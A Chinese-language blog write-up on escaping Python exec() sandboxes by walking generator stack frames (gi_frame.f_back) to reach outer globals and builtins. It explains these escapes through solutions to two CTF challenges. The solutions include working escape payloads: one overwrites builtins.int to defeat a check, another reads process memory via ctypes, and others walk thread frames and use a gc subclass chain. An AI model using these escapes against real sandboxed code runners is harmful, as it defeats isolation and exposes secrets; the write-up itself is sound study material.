python利用帧栈沙箱逃逸

基础知识

生成器

在Python中,这种一边循环一边计算的机制,称为生成器:generator。

generator的函数,在每次调用next()的时候执行,遇到yield语句返回,再次执行时从上次返回的yield语句处继续执行。

举个简单栗子:

1
2
3
4
5
6
7
8
9
def f():
a=1
while True:
yield a
a+=1
f=f()
print(next(f)) #1
print(next(f)) #2
print(next(f)) #3

如果我们给a定义一个范围,a<=100 ,可以使用for语句一次性输出

1
2
3
4
5
6
7
8
def f():
a=1
for i in range(100):
yield a
a+=1
f=f()
for value in f:
print(value)

生成器表达式

generator和list做区别的是最外层的(),而list是[]

1
2
3
4
x=(i * i for i in range(10))
#next(x)
for n in x:
print(n)

上面一堆听不太懂也没多大关系,只需要知道一点generator获取yield定义的值通过next()函数 or for循环(for循环的原理是生成器是特殊的迭代器)

生成器属性

  • gi_code: 生成器对应的code对象。
  • gi_frame: 生成器对应的frame(栈帧)对象。
  • gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
  • gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
  • gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。

着重看一下 gi_frame 属性

gi_frame 是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息。

比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def my_generator():
yield 1
yield 2
yield 3

gen = my_generator()

# 获取生成器的当前帧信息
frame = gen.gi_frame

# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

帧栈(stack frame)

栈帧包含了以下几个重要的属性:

  • f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。
  • f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。
  • f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
  • f_lasti: 整数,表示最后执行的字节码指令的索引。
  • f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧 !!!!!

利用帧栈沙箱逃逸

原理就是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表

栗子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
s3cret="this is flag"

codes='''
def waff():
def f():
yield g.gi_frame.f_back

g = f() #生成器
frame = next(g) #获取到生成器的栈帧对象
# frame = [x for x in g][0] # 由于生成器也是迭代器,所以也可以获取到生成器的帧栈
b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globals
return b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
s3cret = "this is flag"

codes = '''
def waff():
def f():
yield g.gi_frame.f_back

g = f() # 生成器
# frame = next(g) # 获取到生成器的栈帧对象
frame = [x for x in g][0] # 由于生成器也是迭代器,所以也可以获取到生成器的帧栈
b = frame.f_back.f_back.f_globals['s3cret'] # 返回并获取前一级栈帧的globals
return b

b = waff()
'''
locals_dict = {'s3cret': s3cret} # 这里稍微注意一下f_globals中没有找到s3cret变量
code = compile(codes, "test", "exec")
exec(code, locals_dict)
print(locals_dict["b"])

代码说明:

  • 之前提到的next获取yield定义的值,这里获取的就是g.gi_frame.f_back
  • 使用g.gi_frame.f_back的话,那么g = f()就必须为g,用的就是这个生成器对象的栈帧
  • compile(codes, "test", "exec")就是设置了名称为test的python沙箱环境

理解一下逃逸的顺序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
s3cret="this is flag"

codes='''
def waff():
def f():
yield g.gi_frame.f_back

g = f() #生成器

frame = next(g) #获取到生成器的栈帧对象
print(frame)
print(frame.f_back)
print(frame.f_back.f_back)


waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)

image-20240504160342172

即:

1
f  -> waff -> <module>(test) -> <module>(ex1.py)

成功逃逸

获取到外部的栈帧,就可以用f_globals去获取沙箱外的全局变量了

但是yield g.gi_frame.f_back并不能修改为yield g.gi_frame

这样获取到的栈帧经过f_back后获得的是None

要是再来一个f_back就会报错

image-20240504161704664

frame.f_back.f_back.f_back.f_back 尝试访问的是 waff 函数的外部调用者的栈帧对象,但是在这个例子中,waff 是最外层函数,没有外部函数调用它

再写一层就能理解了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
s3cret="this is flag"

codes='''
def xhw():
def waff():
def f():
yield g.gi_frame.f_back

g = f() #生成器

frame = next(g) #获取到生成器的栈帧对象
print(frame)
print(frame.f_back)
print(frame.f_back.f_back)
print(frame.f_back.f_back.f_back)
print(frame.f_back.f_back.f_back.f_back)




waff()
xhw()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)

globals中的__builtins字段

__builtins__ 模块是 Python 解释器启动时自动加载的,其中包含了一系列内置函数、异常和其他内置对象。
使用 dir(__builtins__) 来查看所有可用的内置函数和异常的列表

1
2
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']

L3HCTF2024

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import sys
import os

codes='''
<<codehere>>
'''

try:
codes.encode("ascii")
except UnicodeEncodeError:
exit(0)

if "__" in codes:
exit(0)

codes+="\nres=factorization(c)"
locals={"c":"696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863","__builtins__": None}
res=set()

def blackFunc(oldexit):
def func(event, args):
blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]
for i in blackList:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
oldexit(0)
return func

code = compile(codes, "<judgecode>", "exec")
sys.addaudithook(blackFunc(os._exit))
exec(code,{"__builtins__": None},locals)

p=int(locals["res"][0])
q=int(locals["res"][1])
if(p>1e5 and q>1e5 and p*q==int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863")):
print("Correct!",end="")
else:
print("Wrong!",end="")

上述代码大概就是通过exec执行任意代码,返回的p和q需要满足if语句

过滤了__,还有过滤一些其他,这导致不能使用gc去获取对象引用(下面的据说可以用gc秒)

1
2
3
4
if "__" in codes:
exit(0)

blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]

最关键的是 {"__builtins__": None} 置空了__builtins__

1
exec(code,{"__builtins__": None},locals)

根据上述条件,这道题的解题思路就是通过栈帧对象逃逸出沙箱从而获取到沙箱外的globals

1
2
3
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals
1
2
3
4
5
6
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]STYLUS
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals
#自行控制f_back,逃逸到外部文件即可,如果是flask,不要逃逸过头了到源文件去了STYLUS

然后将沙箱外部的int函数修改为fakeint函数即可

1
2
3
4
5
6
def fake_int(i):
return 100001 * 100002
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
builtin =a.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
builtin.int=fake_int

第九届中国海洋大学信息安全竞赛

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from flask import *
import io
import time

app = Flask(__name__)
black_list = [
'__build_class__', '__debug__', '__doc__', '__import__',
'__loader__', '__name__', '__package__', '__spec__', 'SystemExit',
'breakpoint', 'compile', 'exit', 'memoryview', 'open', 'quit', 'input'
]
new_builtins = dict([
(key, val) for key, val in __builtins__.__dict__.items() if key not in black_list
])

flag = "flag{xxxxxxxxx}"
flag = "DISPOSED"

@app.route("/")
def index():
return redirect("/static/index.html")

@app.post("/run")
def run():
out = io.StringIO()
script = str(request.form["script"])

def wrap_print(*args, **kwargs):
kwargs["file"] = out
print(*args, **kwargs)
new_builtins["print"] = wrap_print

try:
exec(script, {"__builtins__": new_builtins})
except Exception as e:
wrap_print(e)

ret = out.getvalue()
out.close()
return ret

time.sleep(5) # current source file is deleted
app.run('0.0.0.0', port=9001)

flag在源码中,但是源码被删除,没有 /proc目录

image-20240504175805250

要获得被覆写的 flag 内容只剩一个地方可以找,就是依靠 python 解析自身进程的内存

cpython 的实现中暴露了获取 python 栈帧的方法

而每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧

而对 flag 的赋值的字节码肯定存在于某个栈帧中,我们只需要从当前栈帧向上找就行了

法一

利用 ctypes模块的指针,将flag地址周围的值读一下,实现一个从内存读源码

因为真正的flag在覆盖的flag之前,所以读到假的flag的地址后,往前读取即可

这里用了char 指针,读出来的是一个字符串

最细节的是每次位移8的倍数。(可以自行对比任意两个变量的地址,可以发现它们的差值都是8的倍数)

1
2
3
4
5
6
7
8
9
10
11
12
a=(a.gi_frame.f_back.f_back for i in [1])
a = [x for x in a][0]

b = a.f_back.f_globals
flag_id = id(b['flag']) #id()函数用于读取内存地址
ctypes = b["__builtins__"].__import__('ctypes')
#print(ctypes)

for i in range(10000):
txt = ctypes.cast((flag_id-8*i),ctypes.c_char_p).value
if b"flag" in txt:
print(txt)STYLUS

image-20240429203332334

官方wp

使用的是非常普通的继承链获取globals对象,然后从线程上去找栈帧

而且flask 使用了多线程去处理每个请求,这导致直接在当前线程的栈帧向上找会找不到主线程的 flag,需要从主线程栈帧向上找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sys = print.__globals__["__builtins__"].__import__('sys')
io = print.__globals__["__builtins__"].__import__('io')
dis = print.__globals__["__builtins__"].__import__('dis')
threading = print.__globals__["__builtins__"].__import__('threading')
print(threading.enumerate()) #获取所有活跃线程
print(threading.main_thread()) #获取主线程
print(threading.main_thread().ident) # 获取主线程标识符
print(sys._current_frames()) # 获取所有线程的堆栈帧对象
print(sys._current_frames()[threading.main_thread().ident]) #获取到主线程的堆栈帧对象


frame = sys._current_frames()[threading.main_thread().ident]

while frame is not None:
out = io.StringIO() # 内存创建字符串I/O流
dis.dis(frame.f_code,file=out) # 将当前堆栈帧所对应的函数的字节码进行反汇编
content = out.getvalue() #获取反汇编的结果
out.close()
print(content)
frame = frame.f_back
PYTHON

image-20240429222137005

gc

L3HCTF那题禁用了gc,但是这题没有,有师傅用这个秒了好像

1
2
3
print([].__class__.__base__.__subclasses__()[84].load_module('gc').get_objects())

#<class '_frozen_importlib.BuiltinImporter'>STYLUS

东西太多了,有点卡

image-20240430001910400

题外话:

这回国赛遇到了我竟然没做???!!!,没做???(我真该死)

参考:

python利用栈帧进行沙箱逃逸

Python利用栈帧沙箱逃逸

生成器

L3HCTF-intractable problem


本站由 @Mi4t 使用 Stellar 主题创建。
本博客部分素材来源于网络,如有侵权请GitHub留言删除
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。

描述文字 描述文字